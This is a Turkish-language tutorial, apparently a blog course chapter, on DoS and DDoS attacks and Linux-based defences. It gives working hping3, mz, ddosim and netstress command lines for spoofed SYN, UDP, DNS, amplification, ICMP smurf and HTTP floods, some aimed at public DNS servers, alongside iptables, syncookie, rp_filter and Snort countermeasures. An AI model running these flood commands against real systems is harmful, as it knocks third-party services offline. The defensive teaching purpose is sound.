DOS ve DDOS Saldırıları ve Alınacak Önlemler

12. DOS DDOS SALDIRILARI VE ALINABİLECEK ÖNLEMLER

12.1 DOS DDOS Saldırıları

DOS ve DDOS Saldırıları ve Alınacak Önlemler

Dos(daniel of service) saldırılarının türkçemizde ki karşılığı servisi çalışamaz veya hizmet veremez hale getirmektir.Ataklar normalde sistemi ele geçirme  , backdoor açma şeklinde yada servisi hizmet veremez hale getirme şeklinde olabilir.Bunlardan en kolayı dos saldırılarıdır .Saldırının hedef sisteme sızma gibi bir hedefi yoktur sadece  hedef sistemi çalıaşamaz hale getirmek içindir.

Eğer bu dos saldırıları tek bir saldırgan tarafından yada  bir ip üzerinden yapılıyorsa bu saldırı çeşitine dos denir ama bu saldırıları birden çok saldırgan yada farklı ip’lerden yapılırsa bu saldırılara ddos(distrubuted denial of service) saldırıları denir.

Dos saldırıları tek bir ip üzerinde yapıldığı için önlemesi çok kolaydır ama ddos saldırılarını engellemek daha zordur.Çünkü saldıran zombi bilgilsayardan oluşan binlerce farklı ip’den legal bağlantılar oluşturabilir.Gelen bağlantılara baktığımızda normalde hepsi ayrı ip’lerden geldiği için normal bağlantılardan ayırt etmek zordur.Ama binlerce farklı ip’lerden saldırı gerçekleşsede saldırıyı tek bir saldırgan yönetmektedir.Ve gelen trafiği inceleyip paket headerlerden ortak bir değer bulmaya çalışabiliriz.Saldırıların geldiği ip’lerin ortak bir header değerini bulursak bu header bilgisiyle gelen trafiği drop edebiliriz.

Eğer ddos yada dos saldırıları sizin band genişliğinizden fazlaysa bu durumda zaten yapacabileceğiniz birşey yoktur bu durumda servis sağlayıcınız sizin için önlem alabilir.

12.2 Ip Spoofing

DOS ve DDOS Saldırıları ve Alınacak Önlemler

Ip spofing  protokol zafiyetlerinden yararlanarak kaynak ip adresine sahte ip adresi  ekleme işlemidir.Bu şekilde tek bir saldırgan hedef sisteme sanki binlerce farklı ip’lerden geliyormuş gibi paketler gönderebilir.

Tcp protokolünde 3’lü  el sıkışma mekanizması ile bağlantı oluşturulduğu için  spoofing yapılamaz sadece  syn paketleri spoof edilerek gönderilebilir.

Udp ile spoofing yapılabilir.Çünkü Tcp’de önce 3’lü el sıkışma ile bağlantı oluşturulur ama udp  bağlantısız çalışır.

NOT:Eğer nat arkasındaysanız bu saldırıyı gerçekleştiremezsiniz çünkü zaten paketleriniz internete çıkarken natlanır.

DOS ve DDOS Saldırıları ve Alınacak Önlemler

hping3 -S www.munuklu.com  -p 80 –spoof 10.10.10.10
#www.munuklu.com hedefine 80 portuna 10.10.10.10 ip adresiyle spoof edilmiş syn bayrağı set edilmiş tcp paketleri gonderilir.
–spoof parametresi yerine -a parametresini kullanabiliriz.

tcpdump -i eth0 -nv -tt host 104.131.103.219
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
1418993297.842430 IP (tos 0x0, ttl 64, id 13327, offset 0, flags [none], proto TCP (6), length 40)
    10.10.10.10.2183 > 104.131.103.219.80: Flags [S], cksum 0x3ae7 (correct), seq 1957930467, win 512, length 0
1418993298.845853 IP (tos 0x0, ttl 64, id 23657, offset 0, flags [none], proto TCP (6), length 40)
    10.10.10.10.2184 > 104.131.103.219.80: Flags [S], cksum 0xf8d6 (correct), seq 1372087361, win 512, length 0
1418993299.846439 IP (tos 0x0, ttl 64, id 65076, offset 0, flags [none], proto TCP (6), length 40)
    10.10.10.10.2185 > 104.131.103.219.80: Flags [S], cksum 0xe5c8 (correct), seq 838275791, win 512, length 0
^C
3 packets captured
3 packets received by filter
0 packets dropped by kernel
#tcpdump ile paketleri incelediğimizde 10.10.10.10 source ip’sile paketler gidiyor ama cevap dönmüyor:) Çünkü SYN+ACK paketleri cevap olarak 10.10.10.10 ip’sine gidiyor.

——– İP SPOOFİNG SALDIRILARINI ENGELLEMEK İÇİN ———

İp spoofing internet servis sağlayıcısı seviyesinde URPF kullanılarak engellenebilir. Servis sağlayıcı seviyesinde engellenmesinin sebebi paketler internette kaynaktan çıkarken kontrol edilebilir. Ama hedefe ulaşınca gelen paketin gerçek ip adresiylemi geldiği anlaşılamaz. Ayrıca kurumlar kendi firewallarda urpf korumasını kullanabilirler böylece kendi kurumlarında kimse ip spoofing yaparak dışarı paket gönderemez. 

Eğer firewall olarak linux sunucu kullanıyorsanız. 

echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter

echo “net.ipv4.conf.all.rp_filter=1” >> /etc/systctl.conf

#Kendi networkümüzden dışarı doğru ip spoofing atakları engelleriz.

12.3 Syn Flood Saldırıları

hping3 -S www.munuklu.com -p 80 –flood –rand-source
#Heedef sisteme Spof edilmiş farklı ip’lerle syn flood saldırısı yapılır.

mz eth0 -c 0 -A rand -B hedef-ip -t tcp “flags=syn, dp=80, sp=1-65535”
#mz tool’u ile rasgele ip’lerle spoof edilerek hedef sisteme syn flood saldırı gerçekleştiririz.

mz eth0 -A 192.168.10.0/24 -B hedef-ip -t tcp “flags=syn, dp=80, sp=1-65535” -c 0
#Sanki 192.168.10.0/24 networkunden bir botnet saldırı yapılıyormuş gibi simüle edebiliriz.

  1. İstemci kendi sistem yapısı hakkındaki bilgiyi sunucuya bir SYN bilgisi yani mesajı ileterek bağlantı isteği gönderiri. 
  2. Sunucu bu mesajı aldığını belirten ve kendi sistem yapısı hakkındaki bilgiyi bir SYN-ACK paketi olarak adlandırarak istemci bilgisayara yönlendirir.
  3. İstemci bu mesajı attığını belirten bir ACK mesajı ile yanıt verir ve bu şekilde bağlantı meydana gelir. Bu bağlantı türüne de TCP üçlü el sıkışma olarak adlandırırız. Bu bütün TCP bağlantılarının temelidir.

DOS ve DDOS Saldırıları ve Alınacak Önlemler


SYN FLOOD İÇİN ALINABİLECEK ÖNLEMLER 

Syn flood saldırısı gerçekleştirildiğinde kurban sistemde her dönene syn/ack paketindeki sequence numarası için hafızadaki backlog tablosunda bilgi tutar. Eğer bu tablonun limiti dolarsa kurban artık hizmet veremez hale gelir.

netstat -punta | grep SYN | wc -l

netstat ile syn paketleri sorgular iken yukarıda ki komutu yazdığımızda anormal şekilde çok fazla SYN bayrağı geldigini görüyor olacağız. Bu durmda ise flood saldırısı olduğunu anlayabiliriz.

iptables -I INPUT -p tcp –dport 80 –syn -m limit –limit 1/s –limit-burst 7 -j RETURN

iptables -I INPUT -p tcp –dport 80 –syn -j  LOG –log-prefix='[guvenlik duvarı]’

echo “:msg,contains,”[guvenlik-duvari]” /var/log/guvenlik-duvari.log >> /etc/rsyslog.confg

Bu komut ile  birlikte 80 portuna gelen syn paketlerinin bir saniyede gelen ilk 6 paketi geçir daha fazlasını logla diyebiliiriz. Bu komut ile birlikte gelen saldırıları da gözlemleyebiliriz.

DOS ve DDOS Saldırıları ve Alınacak Önlemler

SYN COOKİE

Linux sunucularda bunu önlemek için syn-cookie korumasını aktif edebiliriz. Syn cookie aktif ediltikten sonra artık sunucuya gelen syn paketlerini syn+ack paketleri gönderilirken ISN numarası kaynakip+kaynakport+.hedefip+hedefport değerleri kullanılarak oluşturulur. 3.El sıkışmanın son ack paketi geldiğinde tekrar bu değerlerle ISN hesaplanır. Eğer ISN numarası uygunsa bağlantı açılır. Syn cookie ile backlog tablosu dolmaz ama bu şekildede çok fazla saldırı olursa bu sefer cpu değeri dolabilir yine kurban hizmet veremez hale gelebilir. Linux sunucularda /etc/sysctl.conf dosyasına aşağıdaki satırlar eklenebilir. 

net.ipv4.tcp_syncookies = 1
#
syn cookie özelliğini aktif eder .

net.ipv4.tcp_syn_retries = 2
#syn paketine karşı kaç kere syn+ack paketi döndürelecek onu belirleriz.

net.ipv4.tcp_max_syn_backlog = 4096
#
backlog tablosunun varsayılan limiti artırılır. 

Syncookie özelligi backlog tablosu dolduğunda devreye giren bir özelliktir. 

DOS ve DDOS Saldırıları ve Alınacak Önlemler

SYN PROXY

Kurum güvenlik duvarlarında aktif edilerek tüm syn paketleri ilk önce firewallda karşılanır eğer 3.el sıkışma gerçekleşirse arka taraftaki sunuculara paketler gönderilir. Syn proxynin avantajı taramalarda bütün portlar açık olarak gösterilebilir. Dezavantajı ise statefull çalıştığı için çok fazla saldırıda ram dolabilir.

DOS ve DDOS Saldırıları ve Alınacak Önlemler 

12.4 Udp Flood Saldırıları

DOS ve DDOS Saldırıları ve Alınacak Önlemler

Udp protokünde tcp’ye göre güvenlik daha azdır.Udp’de onemli olan paketleri hızlı gitmesidir.Tcp’deki gibi bir 3.lü el sıkışma yoktur.O yüzden udp’de spoof edilmiş paketler gönderildiğinde direk olarak bağlantı açılır.Udp paket boyutları küçüktür(40byte).O yüzden genelde udp flood saldırıları band genişliğini doldurmaya yönelik değil hedef sistemin kaynaklarını tüketmeye yönelik olabilir.Örnek olarak hedef sistemin önündeki firewall çalışamaz duruma getirilmek hedeflenir.

hping3 –udp 8.8.8.8 -p 53 –flood –rand-source

echo  “Suat deneme” >>  Mehmet.txt
hping3 –udp 8.8.8.8 -p 53 –flood –rand-source -d 50 -E Suat.txt
#Hping ile hedef sisteme udp flood saldırısı gerçekleştirebiliriz.(Mehmet.txt dosyası ile içi boş udp paketi göndermemek için oluşturduk.Çünkü içi boş udp pkatleri ips/firewall gibi güvenlik cihazları tarafından drop edilebiliyor.)

mz eth0 -c 0 -A rand  -B 8.8.8.8 -t udp dp=53 -P “Suat Test”

UDP Flood Alınabilecek Önlemler

SYN Flood saldirisina göre önlenmesi çok daha zordur.Rate limiting yapılamaz çünkü udp protokolünde 3.lü el sıkışma olmadığı için ip spoofing yapılabilir. Rate limiting yapılırsa saldırgan ip spoofing yaparak bize türkiyenin ip’lerini bile engelletebilir. UDP paketleri yaklaşık 30-40 byte dır. O Yüzden saldırgan binlerce sahte ip ile spoof edilmiş paketleri gönderebilir. 20mb band genişliği olan saldırgan saniyede spoof edilmiş 90.000 paket gönderebilir. Bu şekilde güvenlik duvarının karşılayacağı maksimum pps değerini aşmaya çalışabilir. O Yüzden varsayılanda 60 saniye olan udp-timeout değerini azaltabiliriz. 
Gelen udp trafiğini tcp ye çevirip syn-cookie özelliği açılabilir. 
Boş udp paketleri drop edilebilir.
Protokol düzeyinde korumalar aktifleştirilebilir.(Paketlere 7.katmanda bakılarak sadece dns protokolündeki udp paketleri kabul edilir diğerleri drop edilir.)
UDP timeout süresi düşürülerek saldırının etkisi azaltılabilir. 

12.5 Dns Flood Saldırıları

DOS ve DDOS Saldırıları ve Alınacak Önlemler

echo  “www.suatmunuklu.com” >> Suat.txt
hping3 –udp 8.8.8.8 -p 53 –flood –rand-source -d 50 -E Suat.txt

#8.8.8.8 ip’li dns sunucusuna faklı ip’lere spoof edilerek  binlerce www.munuklu.com dns sorgusu gonderilir.
#Dns sunucuya çok fazla sorgu gönderilerek  hizmet veremez hale getirilmeye çalışılır.

mz eth0 -c 0 -A rand  -B 8.8.8.8 -t dns “q=www.suatmunuklu.com”

./netstress -t random -d 91.93.119.87 -a dns -q a -n 2 -P 53

12.6 DNS Amplification Saldırıları

DOS ve DDOS Saldırıları ve Alınacak Önlemler

Saldırgan kurbanın ip’sini spoof ederek onlarca opendns sunucusuna sorgu yollar .Yapılan sorgu paketlerinin boyutu küçüktür ama dönen cevap kat kat büyüktür.Bu şekilde kurbanın bant genişliği doldurulmuş olur.(yöntem olarak icmp-smurf saldırısına benzer)

DOS ve DDOS Saldırıları ve Alınacak Önlemler

#ilk önce wireshark programını başlatırız ve istediğimiz herhangi bir yere ping atarız.Sonra wireshartan dns paketlerini bulup paketin Domanname system(query) kısmaında query başlığında ping attığımız domainin olduğu satıra tıklyarak tıklatarak export selected packet bytes seçerizve bunu kaydederiz.;(ben sorgu dosyası olarak kaydettim.

hping3 –udp 8.8.8.8 -p 53 –flood –spoof 192.168.10.100 -d 50 -E sorgu
#192.168.10.100 sunucusunda wireshark ile trafiğe baktığımızda malformed dns paketlerini görebiliriz.

#Kurbanında wireshark ile trafiği inceledğimizde herhangi bir sorgu yapamadığımız halde 8.8.8.8 google dns sunucusundan gelen dns paketlerini görebiliriz.

12.7 HTTP GET/POST Flood Saldırıları

 

DOS ve DDOS Saldırıları ve Alınacak Önlemler

Http get/post saldırılarında ip spoofing kullanılamaz çünkü http statefull çalışır.http get paketi gonderebilmek için once tcp 3.lü el sıkışma yapılmış olması gerekir spoof ip ile 3.lü el sıkışma yapamayız.

ab -n 15 -c 1 -v -r http://www.munuklu.com/
#Eşzamanlı 1 tane olacak şekilde toplam 15 tane http get paketleri gonderilir.

cd ddosim*
./ddosim -d hedef-ip -p 80  -k 192.168.10.0 -c 0 -w 0 -t 10 -r HTTPd_VALID -i eth0
#OWASP Http Post Tool ile httpd get flood atakları gerçekleştirebiliriz.

Keep-Alive

DOS ve DDOS Saldırıları ve Alınacak Önlemler

12.8 ICMP Flood Saldırıları

DOS ve DDOS Saldırıları ve Alınacak Önlemler

hping3 –icmp hedef-ip –flood –rand-source
#Hedefe spoofing yaparak icmp flood  yaparız.

ping hedef-ip
hping3 –rand-source -E ali.txt -d 56 -n -q –flood  hedef-ip -rawip -ipproto 1
#hping aracının oluşturduğu icmp pakertlerini enggeleyen sistem varsa önce normal ping ile hedef sisteme ping atarız bunu wireshark ile yakalayıp dosya kaydeder(export selected packets bytes) daha sonra hping ile bu dosyayı kullanarak saldırı yaparız.

12.9 ICMP Smurf Saldırısı

DOS ve DDOS Saldırıları ve Alınacak Önlemler

hping3 –icmp –flood -a hedef-ip 192.168.10.255
#Kurbanın ip adresini spoof ederek Network broadcast adreslerine icmp flood yaparız boylece tüm cevaplar kurbana doner boylece kurban çalışamaz hale getirilir.

12.10 TCP SYN/ACK & FIN/ACK DDOS Saldırıları

hping3 {-SA , -FA} hedef-ip -p 80 –rand-source –flood
#Hedef sisteme syn/ack yada fın/ack bayrakları set edilmiş paketler gondereek ddsos atakları gerçekleştirebiliriz.

-----12.11 ALINABİLECEK ÖNLEMLER-----

IP SPOOFING ENGELLENMESİ

ip spoofing internet servis sağlayıcısı seviyesinde URPF kullanılarak engellenebilir.Servis sağlayıcı seviyesinde englennmesinin sebebi paketler internette kaynaktan çıkarken kontol edilebilir.ama hedefe  ulaşınca gelen paketin gerçek ip adresiylemi geldiği anlaşılamaz.Ayrıca kurumlar kendi firewallarda urpf korumusunı kullanabilirler boylece kendi kurulmarından kimse ip soofing yaparak dışarı paket gonderemez.

Eğer firewall olarak linux sunucu kullanıyorsanız

echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
echo “net.ipv4.conf.all.rp_filter=1” >> /etc/systctl.conf
#Kendi networkümüzden dışarı doğru ip spoofing ataklarını engelleriz.

SYN FLOOD İÇİN ALINABİLECEK ÖNLEMLER

Syn flood saldırısı gerçekleştirildiğinede kurban sistemde her donen syn/ack paketindeki sequence numarası için hafızaki backlog tablosunda  bilgi tutar.Eğer bu tablosun limiti dolarsa kurban artık hizmet veremez hale gelir.

netstat -punta | grep SYN | wc –l
#Komutu ile baktığımızda anaormal şekilde çok fazla SYN bayrağı set edilmiş tcp paketi varsa buyuk ihtimal SYN flood saldırısı vardır.

iptables -I INPUT -p tcp –dport 80 –syn -m limit –limit 1/s –limit-burst 6 -j RETURN
iptables -I INPUT -p tcp –dport 80 –syn  -j  LOG –log-prefix='[guvenlik-duvari]’

echo “:msg,contains,”[guvenlik-duvari]” /var/log/guvenlik-duvari.log >> /etc/rsyslog.conf
#80 portuna gelen syn paketlerinin bir saniyede gelen ilk 6 paketi geçrir daha fazlasını loglaryarak geçirir.

SYN COOKIE

Linux sunucularda bunu önlemek için syn-cookie korumasını aktif edebiliriz.Syn cookie aktif edildikten sonra Artık Sunucuya gelen syn paketlerine syn+ack paketleri gönderilirken  ISN numarası kaynakip+kaynakport+.hedefip+hedefport+x  değerleri kullanılarak oluşturulur.3.El sıkışmanın son ack paketi geldiğinde tekrar bu değerlerle ISN hesaplanır.Eğer ISN numarası uygunsa bağlantı açılır.Syn cookie ile backlog tablosu dolmaz ama bu şekildede çok fazla saldırı olursa bu sefer cpu değeri dolabilir yine kurban hizmet veremez hale gelebilir.

Linux sunucularda /etc/sysctl.conf dosyasına aşağıdaki satırlar eklenebilir.

net.ipv4.tcp_syncookies = 1
#syn cookie ozelliğini aktif eder.

net.ipv4.tcp_syn_retries = 2
#syn paketine karşı kaç kere syn+ack paketi dondurulecek onu belirleriz.

net.ipv4.tcp_max_syn_backlog = 4096
#backlog tablosunun varsayılan limiti artırlır.Syncookie aktifse bu deger dolunca syn-cookie devreye girer.
#/etc/sysctl.conf dosyasına yukardaki satırlar eklenir. ayrıca tcp-connection time out değeri düşürebilir.

SYNPROXY

Kurumgüvenlik duvarlarında aktif edilerek tüm syn paketleri ilk once firewallda karşılanır eğer 3. el sıkışma gerçekleşirse arka taraftaki sunucura aketler gonderilir.Syn proxynin avantajı taramalarda butun portlar açık olarak gosterilebilir.Dezavantajı ise statefull çalıştığı için çok fazla saldırıda ram dolabilir.

UDP FLOOD İÇİN ALINABİLECEK ÖNLEMLER

syn flood saldırısına göre önlenmesi çok daha zordur.Rate limiting yapılamaz çünkü udp protokolünde 3.lü el sıkışma olmadığı için ip spoofing yapılabilir.Rate limiting yapılırsa saldırgan ip spoofing yaparak bize türkiyen ip’lerini bile engellettirebilir.Udp paketleri yaklaşık 30-40 byte dır.O yüzden saldırgan binlerce sahte ip ile spoof edilmiş peketleri gönderebili.20mb band genişliği olan saldırgan saniyede spoof edilmiş 90.000 paket gönderebilir.Bu şekilde güvenlik duvarının karşılayacağı maksimumum pps değerini aşmaya çalışabilir.O yüzden varsayılanda 60 saniye olan udp-timeout değerini azaltabiliriz.

Gelen udp trafiğini tcp ye çevirip syn-cookie özelliği açılabilir.

Boş udp paketleri  kontrol edilip drop edilebilir.

Protokol düzeyinde korumalar aktifleştirilebilir.(paketlere 7. katmanda bakılarak sadece dns protokolündeki udp paketlerti kabul edilir diğerleri drop edilir.)

Udp timeout süresi düşürülerek saldırının etkisi azaltılabilir.

HTTP GET/POST FLOOD İÇİN ALINABİLECEK ÖNLEMLER

Diğerlerine göre önlenmesi çok daha kolaydır.Çünkü ip spoofing yapılamadiği için rate limiting yapılarak kolayca önlenebilir.Bu şekilde saldırganın ip’si yasaklanır Saldırganın gönderdiği paketler drop edileceği için sadece syn paketleri gönderebilir.

Http paketlerinin yaklaşık 400byte ,syn paketlerininde 60 byte olduğunu göz önünde bulundurursak yapılan saldırıyı yaklaşık 6 kat küçültmüş oluruz ama tamamen engelleyemeyiz tabiki. 

RATE-LİMİT

iptables -t filter -I INPUT -p tcp  –dport 80 -m connlimit –connlimit-above 16  -j REJECT
#ip başına aynı anda max 16 tane bağlantı yapılabilir 16 dan fazlası DROP edilir.(ilk 16 paket engellenmez 16. paketten sonrakipaketler engellenir.)

SnortIPS

rate limit ile her nekadar http-get/post saldırıları engellensede http bağlantıları için Keep-alive özelliği aktif edilmişse saldırgan tek bir ip ile tek bir bağlantı üzerinden binlerce http-get isteği yapabilir.Bunu ancak

layer 7 de çalışabilen ips ile protokol bazlı paket incelenerek engelleyebiliriz.

Drop tcp any any -> $WEB_SUNUCU 80 (msg:”HTTP GET Flood Attack Attempt”; flow:established,to_server;
content:”GET /”; detection_filter: track by_src, count 50, seconds 3; sid:1000001; rev:1;)


Ayrıca web sunucularında http get/post flood saldırılarına karşı load balance ile birden çok sunucu kullanılabilir veyahut varnish ve memcash kullanılabilir.

ICMP SMURF SALDIRI ÖNLEMLERİ

Günümüzde artık yönlendiriciler varsayılanda broadcast adreslerine gelen icmp paketlerine cevap vermez..Router olarak linux sunucu kullanıyor isek;

echo “net.ipv4.icmp_echo_ignore_broadcasts = 1” >> /etc/sysctl.conf
#/etc/sysctl.conf dosyasına yukardaki satırı ekleyebiliriz.

You may also like...

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir